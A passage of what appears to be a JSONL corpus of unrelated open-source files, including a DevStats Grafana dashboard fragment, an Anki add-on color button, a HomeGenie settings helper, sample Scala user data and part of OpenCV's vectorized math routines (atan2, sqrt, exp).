target=\\\"_blank\\\"\\u003egeonames\\u003c/a\\u003e database.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can select single repository group or summary statistics for all of them combined.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can choose to display contributors, contributions, users, actvity, committers, commits etc.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can select cumulative statistics or statistics in given periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSelecting period (for example week) means that dashboard will show data in those periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSee \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/periods.md\\\" target=\\\"_blank\\\"\\u003ehere\\u003c/a\\u003e for more informations about periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSee \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/repository_groups.md\\\" target=\\\"_blank\\\"\\u003ehere\\u003c/a\\u003e for more informations about repository groups.\\u003c/li\\u003e\\n\\u003cli\\u003eWe are skipping bots activity, see \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/excluding_bots.md\\\" target=\\\"_blank\\\"\\u003eexcluding bots\\u003c/a\\u003e for details.\\u003c/li\\u003e\\n\\u003c/ul\\u003e\"\n },\n \"datasource\": \"psql\",\n \"hide\": 2,\n \"includeAll\": false,\n \"label\": null,\n \"multi\": false,\n \"name\": \"docs\",\n \"options\": [],\n \"query\": \"select value_s from gha_vars where name = 'countries_stats_docs_html'\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": true,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": null,\n \"current\": {\n \"text\": \"m\",\n \"value\": \"m\"\n },\n \"datasource\": \"psql\",\n \"hide\": 2,\n \"includeAll\": false,\n \"label\": \"\",\n \"multi\": false,\n \"name\": \"period\",\n \"options\": [],\n \"query\": \"select split_part(cumperiod_name, '/', 3) from tcumperiods where cumperiod_name like '[[cum]]/[[period_name]]/%';\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": true,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n }\n ]\n },\n \"time\": {\n \"from\": \"now-3y\",\n \"to\": \"now-1M\"\n },\n \"timepicker\": {\n \"refresh_intervals\": [\n \"5s\",\n \"10s\",\n \"30s\",\n \"1m\",\n \"5m\",\n \"15m\",\n \"30m\",\n \"1h\",\n \"2h\",\n \"1d\"\n ],\n \"time_options\": [\n \"5m\",\n \"15m\",\n \"1h\",\n \"6h\",\n \"12h\",\n \"24h\",\n \"2d\",\n \"7d\",\n \"30d\"\n ]\n },\n \"timezone\": \"\",\n \"title\": \"Countries Statistics in Repository Groups\",\n \"uid\": \"50\",\n \"version\": 2\n}"} +{"text": "/*\n * Copyright 2015 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n */\n\n#ifndef WEBRTC_API_TEST_ANDROIDTESTINITIALIZER_H_\n#define WEBRTC_API_TEST_ANDROIDTESTINITIALIZER_H_\n\nnamespace webrtc {\n\nvoid InitializeAndroidObjects();\n\n} // namespace webrtc\n\n#endif // WEBRTC_API_TEST_ANDROIDTESTINITIALIZER_H_\n"} +{"text": "# -*- coding: utf-8 -*-\n\n# Libaddon for Anki\n#\n# Copyright (C) 2018-2019 Aristotelis P. \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version, with the additions\n# listed at the end of the license file that accompanied this program.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n# NOTE: This program is subject to certain additional terms pursuant to\n# Section 7 of the GNU Affero General Public License. You should have\n# received a copy of these additional terms immediately following the\n# terms and conditions of the GNU Affero General Public License that\n# accompanied this program.\n#\n# If not, please request a copy through one of the means of contact\n# listed here: .\n#\n# Any modifications to this file must keep this entire header intact.\n\n\"\"\"\nCustom color-chooser\n\"\"\"\n\nfrom __future__ import (absolute_import, division,\n print_function, unicode_literals)\n\nfrom .qt import QPushButton, QColorDialog, QPixmap, QColor, QIcon, QSize\n\nclass QColorButton(QPushButton):\n def __init__(self, parent=None, color=\"#000000\"):\n super(QColorButton, self).__init__(parent=parent)\n self._updateButtonColor(color)\n self.clicked.connect(self._chooseColor)\n\n def _chooseColor(self):\n qcolour = QColor(self.color)\n dialog = QColorDialog(qcolour, parent=self)\n color = dialog.getColor()\n if not color.isValid():\n return False\n color = color.name()\n self._updateButtonColor(color)\n\n def _updateButtonColor(self, color):\n \"\"\"Generate color preview pixmap and place it on button\"\"\"\n pixmap = QPixmap(128, 18)\n qcolour = QColor(0, 0, 0)\n qcolour.setNamedColor(color)\n pixmap.fill(qcolour)\n self.setIcon(QIcon(pixmap))\n self.setIconSize(QSize(128, 18))\n self.color = color\n \n def color(self):\n return self.color\n \n def setColor(self, color):\n self._updateButtonColor(color)\n"} +{"text": "/*\n This file is part of HomeGenie Project source code.\n\n HomeGenie is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n HomeGenie is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with HomeGenie. If not, see . \n*/\n\n/*\n * Author: Generoso Martello \n * Project Homepage: http://homegenie.it\n */\n\n\nusing System;\n\nusing HomeGenie.Service;\nusing HomeGenie.Data;\n\nnamespace HomeGenie.Automation.Scripting\n{\n\n /// \n /// Settings helper.\\n\n /// Class instance accessor: **Settings**\n /// \n [Serializable]\n public class SettingsHelper\n {\n private HomeGenieService homegenie;\n\n public SettingsHelper(HomeGenieService hg)\n {\n homegenie = hg;\n }\n\n /// \n /// Gets the system settings parameter with the specified name.\n /// \n /// Parameter.\n public ModuleParameter Parameter(string parameter)\n {\n var systemParameter = homegenie.Parameters.Find(delegate(ModuleParameter mp) { return mp.Name == parameter; });\n // create parameter if does not exists\n if (systemParameter == null)\n {\n systemParameter = new ModuleParameter() { Name = parameter };\n homegenie.Parameters.Add(systemParameter);\n }\n\n return systemParameter;\n }\n }\n}\n\n"} +{"text": "---\n name: Highcharts Demo\n authors:\n - Torstein Hønsi\n..."} +{"text": "/**\n * Copyright 2014 Reverb Technologies, Inc.\n *\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage api\n\nimport models.{ Category, User, Pet }\n\nimport collection.mutable.ListBuffer\n\nclass UserData {\n val users: ListBuffer[User] = new ListBuffer[User]()\n\n {\n users += User(1, \"user1\", \"first name 1\", \"last name 1\", \"email1@test.com\", \"xxxx\", \"123-456-7890\", 1)\n users += User(2, \"user2\", \"first name 2\", \"last name 2\", \"email2@test.com\", \"xxxx\", \"123-456-7890\", 2)\n users += User(3, \"user3\", \"first name 3\", \"last name 3\", \"email3@test.com\", \"xxxx\", \"123-456-7890\", 3)\n users += User(4, \"user4\", \"first name 4\", \"last name 4\", \"email4@test.com\", \"xxxx\", \"123-456-7890\", 1)\n users += User(5, \"user5\", \"first name 5\", \"last name 5\", \"email5@test.com\", \"xxxx\", \"123-456-7890\", 2)\n users += User(6, \"user6\", \"first name 6\", \"last name 6\", \"email6@test.com\", \"xxxx\", \"123-456-7890\", 3)\n users += User(7, \"user7\", \"first name 7\", \"last name 7\", \"email7@test.com\", \"xxxx\", \"123-456-7890\", 1)\n users += User(8, \"user8\", \"first name 8\", \"last name 8\", \"email8@test.com\", \"xxxx\", \"123-456-7890\", 2)\n users += User(9, \"user9\", \"first name 9\", \"last name 9\", \"email9@test.com\", \"xxxx\", \"123-456-7890\", 3)\n users += User(10, \"user10\", \"first name 10\", \"last name 10\", \"email10@test.com\", \"xxxx\", \"123-456-7890\", 1)\n users += User(11, \"user?10\", \"first name ?10\", \"last name ?10\", \"email101@test.com\", \"xxxx\", \"123-456-7890\", 1)\n\n }\n\n def findUserByName(username: String): Option[User] = {\n users.filter(user => user.username == username) match {\n case user if (user.size) > 0 => Some(user.head)\n case _ => None\n }\n }\n\n def addUser(user: User): Unit = {\n users --= users.filter(u => u.id == user.id)\n users += user\n }\n\n def removeUser(username: String): Unit = {\n for (user <- users) {\n if (user.username == username) {\n users -= user\n }\n }\n }\n}\n"} +{"text": "/* //device/java/android/android/view/WindowManager.aidl\n**\n** Copyright 2007, The Android Open Source Project\n**\n** Licensed under the Apache License, Version 2.0 (the \"License\"); \n** you may not use this file except in compliance with the License. \n** You may obtain a copy of the License at \n**\n** http://www.apache.org/licenses/LICENSE-2.0 \n**\n** Unless required by applicable law or agreed to in writing, software \n** distributed under the License is distributed on an \"AS IS\" BASIS, \n** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n** See the License for the specific language governing permissions and \n** limitations under the License.\n*/\n\npackage android.content.pm;\n\nparcelable PackageStats;\n"} +{"text": "\n\n\n\n\n\n"} +{"text": "/*\n * Generated by class-dump 3.3.4 (64 bit).\n *\n * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard.\n */\n\n#import \"NSTableView.h\"\n\n@class DVBookmarksOutlineViewController;\n\n@interface DVBookmarksTableView : NSTableView\n{\n DVBookmarksOutlineViewController *m_controller;\n}\n\n@property(retain, nonatomic) DVBookmarksOutlineViewController *controller; // @synthesize controller=m_controller;\n- (void)keyDown:(id)arg1;\n\n@end\n\n"} +{"text": "// This file is part of OpenCV project.\n// It is subject to the license terms in the LICENSE file found in the top-level directory\n// of this distribution and at http://opencv.org/license.html.\n\n#include \"mathfuncs.hpp\"\n\nnamespace cv { namespace hal {\n\nCV_CPU_OPTIMIZATION_NAMESPACE_BEGIN\n\n// forward declarations\nvoid fastAtan32f(const float *Y, const float *X, float *angle, int len, bool angleInDegrees);\nvoid fastAtan64f(const double *Y, const double *X, double *angle, int len, bool angleInDegrees);\nvoid fastAtan2(const float *Y, const float *X, float *angle, int len, bool angleInDegrees);\nvoid magnitude32f(const float* x, const float* y, float* mag, int len);\nvoid magnitude64f(const double* x, const double* y, double* mag, int len);\nvoid invSqrt32f(const float* src, float* dst, int len);\nvoid invSqrt64f(const double* src, double* dst, int len);\nvoid sqrt32f(const float* src, float* dst, int len);\nvoid sqrt64f(const double* src, double* dst, int len);\nvoid exp32f(const float *src, float *dst, int n);\nvoid exp64f(const double *src, double *dst, int n);\nvoid log32f(const float *src, float *dst, int n);\nvoid log64f(const double *src, double *dst, int n);\nfloat fastAtan2(float y, float x);\n\n#ifndef CV_CPU_OPTIMIZATION_DECLARATIONS_ONLY\n\nusing namespace std;\nusing namespace cv;\n\nnamespace {\n\nstatic const float atan2_p1 = 0.9997878412794807f*(float)(180/CV_PI);\nstatic const float atan2_p3 = -0.3258083974640975f*(float)(180/CV_PI);\nstatic const float atan2_p5 = 0.1555786518463281f*(float)(180/CV_PI);\nstatic const float atan2_p7 = -0.04432655554792128f*(float)(180/CV_PI);\n\n#ifdef __EMSCRIPTEN__\nstatic inline float atan_f32(float y, float x)\n{\n float a = atan2(y, x) * 180.0f / CV_PI;\n if (a < 0.0f)\n a += 360.0f;\n if (a >= 360.0f)\n a -= 360.0f;\n return a; // range [0; 360)\n}\n#else\nstatic inline float atan_f32(float y, float x)\n{\n float ax = std::abs(x), ay = std::abs(y);\n float a, c, c2;\n if( ax >= ay )\n {\n c = ay/(ax + (float)DBL_EPSILON);\n c2 = c*c;\n a = (((atan2_p7*c2 + atan2_p5)*c2 + atan2_p3)*c2 + atan2_p1)*c;\n }\n else\n {\n c = ax/(ay + (float)DBL_EPSILON);\n c2 = c*c;\n a = 90.f - (((atan2_p7*c2 + atan2_p5)*c2 + atan2_p3)*c2 + atan2_p1)*c;\n }\n if( x < 0 )\n a = 180.f - a;\n if( y < 0 )\n a = 360.f - a;\n return a;\n}\n#endif\n\n#if CV_SIMD\n\nstruct v_atan_f32\n{\n explicit v_atan_f32(const float& scale)\n {\n eps = vx_setall_f32((float)DBL_EPSILON);\n z = vx_setzero_f32();\n p7 = vx_setall_f32(atan2_p7);\n p5 = vx_setall_f32(atan2_p5);\n p3 = vx_setall_f32(atan2_p3);\n p1 = vx_setall_f32(atan2_p1);\n val90 = vx_setall_f32(90.f);\n val180 = vx_setall_f32(180.f);\n val360 = vx_setall_f32(360.f);\n s = vx_setall_f32(scale);\n }\n\n v_float32 compute(const v_float32& y, const v_float32& x)\n {\n v_float32 ax = v_abs(x);\n v_float32 ay = v_abs(y);\n v_float32 c = v_min(ax, ay) / (v_max(ax, ay) + eps);\n v_float32 cc = c * c;\n v_float32 a = v_fma(v_fma(v_fma(cc, p7, p5), cc, p3), cc, p1)*c;\n a = v_select(ax >= ay, a, val90 - a);\n a = v_select(x < z, val180 - a, a);\n a = v_select(y < z, val360 - a, a);\n return a * s;\n }\n\n v_float32 eps;\n v_float32 z;\n v_float32 p7;\n v_float32 p5;\n v_float32 p3;\n v_float32 p1;\n v_float32 val90;\n v_float32 val180;\n v_float32 val360;\n v_float32 s;\n};\n\n#endif\n\n} // anonymous::\n\n///////////////////////////////////// ATAN2 ////////////////////////////////////\n\nstatic void fastAtan32f_(const float *Y, const float *X, float *angle, int len, bool angleInDegrees )\n{\n float scale = angleInDegrees ? 1.f : (float)(CV_PI/180);\n int i = 0;\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n v_atan_f32 v(scale);\n\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n // if it's inplace operation, we cannot repeatedly process\n // the tail for the second time, so we have to use the\n // scalar code\n if( i == 0 || angle == X || angle == Y )\n break;\n i = len - VECSZ*2;\n }\n\n v_float32 y0 = vx_load(Y + i);\n v_float32 x0 = vx_load(X + i);\n v_float32 y1 = vx_load(Y + i + VECSZ);\n v_float32 x1 = vx_load(X + i + VECSZ);\n\n v_float32 r0 = v.compute(y0, x0);\n v_float32 r1 = v.compute(y1, x1);\n\n v_store(angle + i, r0);\n v_store(angle + i + VECSZ, r1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n angle[i] = atan_f32(Y[i], X[i])*scale;\n}\n\nvoid fastAtan32f(const float *Y, const float *X, float *angle, int len, bool angleInDegrees )\n{\n CV_INSTRUMENT_REGION();\n fastAtan32f_(Y, X, angle, len, angleInDegrees );\n}\n\nvoid fastAtan64f(const double *Y, const double *X, double *angle, int len, bool angleInDegrees)\n{\n CV_INSTRUMENT_REGION();\n\n const int BLKSZ = 128;\n float ybuf[BLKSZ], xbuf[BLKSZ], abuf[BLKSZ];\n for( int i = 0; i < len; i += BLKSZ )\n {\n int j, blksz = std::min(BLKSZ, len - i);\n for( j = 0; j < blksz; j++ )\n {\n ybuf[j] = (float)Y[i + j];\n xbuf[j] = (float)X[i + j];\n }\n fastAtan32f_(ybuf, xbuf, abuf, blksz, angleInDegrees);\n for( j = 0; j < blksz; j++ )\n angle[i + j] = abuf[j];\n }\n}\n\n// deprecated\nvoid fastAtan2(const float *Y, const float *X, float *angle, int len, bool angleInDegrees )\n{\n CV_INSTRUMENT_REGION();\n fastAtan32f(Y, X, angle, len, angleInDegrees);\n}\n\nvoid magnitude32f(const float* x, const float* y, float* mag, int len)\n{\n CV_INSTRUMENT_REGION();\n\n int i = 0;\n\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || mag == x || mag == y )\n break;\n i = len - VECSZ*2;\n }\n v_float32 x0 = vx_load(x + i), x1 = vx_load(x + i + VECSZ);\n v_float32 y0 = vx_load(y + i), y1 = vx_load(y + i + VECSZ);\n x0 = v_sqrt(v_muladd(x0, x0, y0*y0));\n x1 = v_sqrt(v_muladd(x1, x1, y1*y1));\n v_store(mag + i, x0);\n v_store(mag + i + VECSZ, x1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n {\n float x0 = x[i], y0 = y[i];\n mag[i] = std::sqrt(x0*x0 + y0*y0);\n }\n}\n\nvoid magnitude64f(const double* x, const double* y, double* mag, int len)\n{\n CV_INSTRUMENT_REGION();\n\n int i = 0;\n\n#if CV_SIMD_64F\n const int VECSZ = v_float64::nlanes;\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || mag == x || mag == y )\n break;\n i = len - VECSZ*2;\n }\n v_float64 x0 = vx_load(x + i), x1 = vx_load(x + i + VECSZ);\n v_float64 y0 = vx_load(y + i), y1 = vx_load(y + i + VECSZ);\n x0 = v_sqrt(v_muladd(x0, x0, y0*y0));\n x1 = v_sqrt(v_muladd(x1, x1, y1*y1));\n v_store(mag + i, x0);\n v_store(mag + i + VECSZ, x1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n {\n double x0 = x[i], y0 = y[i];\n mag[i] = std::sqrt(x0*x0 + y0*y0);\n }\n}\n\n\nvoid invSqrt32f(const float* src, float* dst, int len)\n{\n CV_INSTRUMENT_REGION();\n\n int i = 0;\n\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || src == dst )\n break;\n i = len - VECSZ*2;\n }\n v_float32 t0 = vx_load(src + i), t1 = vx_load(src + i + VECSZ);\n t0 = v_invsqrt(t0);\n t1 = v_invsqrt(t1);\n v_store(dst + i, t0); v_store(dst + i + VECSZ, t1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n dst[i] = 1/std::sqrt(src[i]);\n}\n\n\nvoid invSqrt64f(const double* src, double* dst, int len)\n{\n CV_INSTRUMENT_REGION();\n int i = 0;\n\n#if CV_SIMD_64F\n const int VECSZ = v_float64::nlanes;\n for ( ; i < len; i += VECSZ*2)\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || src == dst )\n break;\n i = len - VECSZ*2;\n }\n v_float64 t0 = vx_load(src + i), t1 = vx_load(src + i + VECSZ);\n t0 = v_invsqrt(t0);\n t1 = v_invsqrt(t1);\n v_store(dst + i, t0); v_store(dst + i + VECSZ, t1);\n }\n#endif\n\n for( ; i < len; i++ )\n dst[i] = 1/std::sqrt(src[i]);\n}\n\n\nvoid sqrt32f(const float* src, float* dst, int len)\n{\n CV_INSTRUMENT_REGION();\n\n int i = 0;\n\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || src == dst )\n break;\n i = len - VECSZ*2;\n }\n v_float32 t0 = vx_load(src + i), t1 = vx_load(src + i + VECSZ);\n t0 = v_sqrt(t0);\n t1 = v_sqrt(t1);\n v_store(dst + i, t0); v_store(dst + i + VECSZ, t1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n dst[i] = std::sqrt(src[i]);\n}\n\n\nvoid sqrt64f(const double* src, double* dst, int len)\n{\n CV_INSTRUMENT_REGION();\n\n int i = 0;\n\n#if CV_SIMD_64F\n const int VECSZ = v_float64::nlanes;\n for( ; i < len; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > len )\n {\n if( i == 0 || src == dst )\n break;\n i = len - VECSZ*2;\n }\n v_float64 t0 = vx_load(src + i), t1 = vx_load(src + i + VECSZ);\n t0 = v_sqrt(t0);\n t1 = v_sqrt(t1);\n v_store(dst + i, t0); v_store(dst + i + VECSZ, t1);\n }\n vx_cleanup();\n#endif\n\n for( ; i < len; i++ )\n dst[i] = std::sqrt(src[i]);\n}\n\n// Workaround for ICE in MSVS 2015 update 3 (issue #7795)\n// CV_AVX is not used here, because generated code is faster in non-AVX mode.\n// (tested with disabled IPP on i5-6300U)\n#if (defined _MSC_VER && _MSC_VER >= 1900) || defined(__EMSCRIPTEN__)\nvoid exp32f(const float *src, float *dst, int n)\n{\n CV_INSTRUMENT_REGION();\n\n for (int i = 0; i < n; i++)\n {\n dst[i] = std::exp(src[i]);\n }\n}\n\nvoid exp64f(const double *src, double *dst, int n)\n{\n CV_INSTRUMENT_REGION();\n\n for (int i = 0; i < n; i++)\n {\n dst[i] = std::exp(src[i]);\n }\n}\n\nvoid log32f(const float *src, float *dst, int n)\n{\n CV_INSTRUMENT_REGION();\n\n for (int i = 0; i < n; i++)\n {\n dst[i] = std::log(src[i]);\n }\n}\nvoid log64f(const double *src, double *dst, int n)\n{\n CV_INSTRUMENT_REGION();\n\n for (int i = 0; i < n; i++)\n {\n dst[i] = std::log(src[i]);\n }\n}\n#else\n\n////////////////////////////////////// EXP /////////////////////////////////////\n\n#define EXPTAB_SCALE 6\n#define EXPTAB_MASK ((1 << EXPTAB_SCALE) - 1)\n\n#define EXPPOLY_32F_A0 .9670371139572337719125840413672004409288e-2\n\n// the code below uses _mm_cast* intrinsics, which are not available on VS2005\n#if (defined _MSC_VER && _MSC_VER < 1500) || \\\n(!defined __APPLE__ && defined __GNUC__ && __GNUC__*100 + __GNUC_MINOR__ < 402)\n#undef CV_SSE2\n#define CV_SSE2 0\n#endif\n\nstatic const double exp_prescale = 1.4426950408889634073599246810019 * (1 << EXPTAB_SCALE);\nstatic const double exp_postscale = 1./(1 << EXPTAB_SCALE);\nstatic const double exp_max_val = 3000.*(1 << EXPTAB_SCALE); // log10(DBL_MAX) < 3000\n\nvoid exp32f( const float *_x, float *y, int n )\n{\n CV_INSTRUMENT_REGION();\n\n const float* const expTab_f = cv::details::getExpTab32f();\n\n const float\n A4 = (float)(1.000000000000002438532970795181890933776 / EXPPOLY_32F_A0),\n A3 = (float)(.6931471805521448196800669615864773144641 / EXPPOLY_32F_A0),\n A2 = (float)(.2402265109513301490103372422686535526573 / EXPPOLY_32F_A0),\n A1 = (float)(.5550339366753125211915322047004666939128e-1 / EXPPOLY_32F_A0);\n\n int i = 0;\n const Cv32suf* x = (const Cv32suf*)_x;\n float minval = (float)(-exp_max_val/exp_prescale);\n float maxval = (float)(exp_max_val/exp_prescale);\n float postscale = (float)exp_postscale;\n\n#if CV_SIMD\n const int VECSZ = v_float32::nlanes;\n const v_float32 vprescale = vx_setall_f32((float)exp_prescale);\n const v_float32 vpostscale = vx_setall_f32((float)exp_postscale);\n const v_float32 vminval = vx_setall_f32(minval);\n const v_float32 vmaxval = vx_setall_f32(maxval);\n\n const v_float32 vA1 = vx_setall_f32((float)A1);\n const v_float32 vA2 = vx_setall_f32((float)A2);\n const v_float32 vA3 = vx_setall_f32((float)A3);\n const v_float32 vA4 = vx_setall_f32((float)A4);\n\n const v_int32 vidxmask = vx_setall_s32(EXPTAB_MASK);\n bool y_aligned = (size_t)(void*)y % 32 == 0;\n\n for( ; i < n; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > n )\n {\n if( i == 0 || _x == y )\n break;\n i = n - VECSZ*2;\n y_aligned = false;\n }\n\n v_float32 xf0 = vx_load(&x[i].f), xf1 = vx_load(&x[i + VECSZ].f);\n\n xf0 = v_min(v_max(xf0, vminval), vmaxval);\n xf1 = v_min(v_max(xf1, vminval), vmaxval);\n\n xf0 *= vprescale;\n xf1 *= vprescale;\n\n v_int32 xi0 = v_round(xf0);\n v_int32 xi1 = v_round(xf1);\n xf0 = (xf0 - v_cvt_f32(xi0))*vpostscale;\n xf1 = (xf1 - v_cvt_f32(xi1))*vpostscale;\n\n v_float32 yf0 = v_lut(expTab_f, xi0 & vidxmask);\n v_float32 yf1 = v_lut(expTab_f, xi1 & vidxmask);\n\n v_int32 v0 = vx_setzero_s32(), v127 = vx_setall_s32(127), v255 = vx_setall_s32(255);\n xi0 = v_min(v_max(v_shr(xi0) + v127, v0), v255);\n xi1 = v_min(v_max(v_shr(xi1) + v127, v0), v255);\n\n yf0 *= v_reinterpret_as_f32(v_shl<23>(xi0));\n yf1 *= v_reinterpret_as_f32(v_shl<23>(xi1));\n\n v_float32 zf0 = xf0 + vA1;\n v_float32 zf1 = xf1 + vA1;\n\n zf0 = v_fma(zf0, xf0, vA2);\n zf1 = v_fma(zf1, xf1, vA2);\n\n zf0 = v_fma(zf0, xf0, vA3);\n zf1 = v_fma(zf1, xf1, vA3);\n\n zf0 = v_fma(zf0, xf0, vA4);\n zf1 = v_fma(zf1, xf1, vA4);\n\n zf0 *= yf0;\n zf1 *= yf1;\n\n if( y_aligned )\n {\n v_store_aligned(y + i, zf0);\n v_store_aligned(y + i + VECSZ, zf1);\n }\n else\n {\n v_store(y + i, zf0);\n v_store(y + i + VECSZ, zf1);\n }\n }\n vx_cleanup();\n#endif\n\n for( ; i < n; i++ )\n {\n float x0 = x[i].f;\n x0 = std::min(std::max(x0, minval), maxval);\n x0 *= (float)exp_prescale;\n Cv32suf buf;\n\n int xi = saturate_cast(x0);\n x0 = (x0 - xi)*postscale;\n\n int t = (xi >> EXPTAB_SCALE) + 127;\n t = !(t & ~255) ? t : t < 0 ? 0 : 255;\n buf.i = t << 23;\n\n y[i] = buf.f * expTab_f[xi & EXPTAB_MASK] * ((((x0 + A1)*x0 + A2)*x0 + A3)*x0 + A4);\n }\n}\n\nvoid exp64f( const double *_x, double *y, int n )\n{\n CV_INSTRUMENT_REGION();\n\n const double* const expTab = cv::details::getExpTab64f();\n\n const double\n A5 = .99999999999999999998285227504999 / EXPPOLY_32F_A0,\n A4 = .69314718055994546743029643825322 / EXPPOLY_32F_A0,\n A3 = .24022650695886477918181338054308 / EXPPOLY_32F_A0,\n A2 = .55504108793649567998466049042729e-1 / EXPPOLY_32F_A0,\n A1 = .96180973140732918010002372686186e-2 / EXPPOLY_32F_A0,\n A0 = .13369713757180123244806654839424e-2 / EXPPOLY_32F_A0;\n\n int i = 0;\n const Cv64suf* x = (const Cv64suf*)_x;\n double minval = (-exp_max_val/exp_prescale);\n double maxval = (exp_max_val/exp_prescale);\n\n#if CV_SIMD_64F\n const int VECSZ = v_float64::nlanes;\n const v_float64 vprescale = vx_setall_f64(exp_prescale);\n const v_float64 vpostscale = vx_setall_f64(exp_postscale);\n const v_float64 vminval = vx_setall_f64(minval);\n const v_float64 vmaxval = vx_setall_f64(maxval);\n\n const v_float64 vA1 = vx_setall_f64(A1);\n const v_float64 vA2 = vx_setall_f64(A2);\n const v_float64 vA3 = vx_setall_f64(A3);\n const v_float64 vA4 = vx_setall_f64(A4);\n const v_float64 vA5 = vx_setall_f64(A5);\n\n const v_int32 vidxmask = vx_setall_s32(EXPTAB_MASK);\n bool y_aligned = (size_t)(void*)y % 32 == 0;\n\n for( ; i < n; i += VECSZ*2 )\n {\n if( i + VECSZ*2 > n )\n {\n if( i == 0 || _x == y )\n break;\n i = n - VECSZ*2;\n y_aligned = false;\n }\n\n v_float64 xf0 = vx_load(&x[i].f), xf1 = vx_load(&x[i + VECSZ].f);\n\n xf0 = v_min(v_max(xf0, vminval), vmaxval);\n xf1 = v_min(v_max(xf1, vminval), vmaxval);\n\n xf0 *= vprescale;\n xf1 *= vprescale;\n\n v_int32 xi0 = v_round(xf0);\n v_int32 xi1 = v_round(xf1);\n xf0 = (xf0 - v_cvt_f64(xi0))*vpostscale;\n xf1 = (xf1 - v_cvt_f64(xi1))*vpostscale;\n\n v_float64 yf0 = v_lut(expTab, xi0 & vidxmask);\n v_float64 yf1 = v_lut(expTab, xi1 & vidxmask);\n\n v_int32 v0 = vx_setzero_s32(), v1023 = vx_setall_s32(1023), v2047 = vx_setall_s32(2047);\n xi0 = v_min(v_max(v_shr(xi0) + v1023, v0), v2047);\n xi1 = v_min(v_max(v_shr(xi1) + v1023, v0), v2047);\n\n v_int64 xq0, xq1, dummy;\n v_expand(xi0, xq0, dummy);\n v_expand(xi1, xq1, dummy);\n\n yf0 *= v_reinterpret_as_f64(v_shl<52>(xq0));\n yf1 *= v_reinterpret_as_f64(v_shl<52>(xq1));\n\n v_float64 zf0 = xf0 + vA1;\n v_float64 zf1 = xf1 + vA1;\n\n zf0 = v_fma(zf0, xf0, vA2);\n zf1 = v_fma(zf1, xf1, vA2);\n\n zf0 = v_fma(zf0, xf0, vA3);\n zf1 = v_fma(zf1, xf1, vA3);\n\n zf0 = v_fma(zf0, xf0, vA4);\n zf1 = v_fma(zf1, xf1, vA4);\n\n zf0 = v_fma(zf0, xf0, vA5);\n zf1 = v_fma(zf1, xf1, vA5);\n\n zf0 *= yf0;\n zf1 *= yf1;\n\n if( y_aligned )\n {\n v_store_aligned(y + i, zf0);\n v_store_aligned(y + i + VECSZ, zf1);\n }\n else\n {\n v_store(y + i, zf0);\n v_store(y + i + VECSZ, zf1);\n }\n }\n vx_cleanup();\n#endif\n\n for( ; i < n; i++ )\n {\n double x0 = x[i].f;\n x0 = std::min(std::max(x0, minval), maxval);\n x0 *= exp_prescale;\n Cv64suf buf;\n\n int xi = saturate_cast(x0);\n x0 = (x0 - 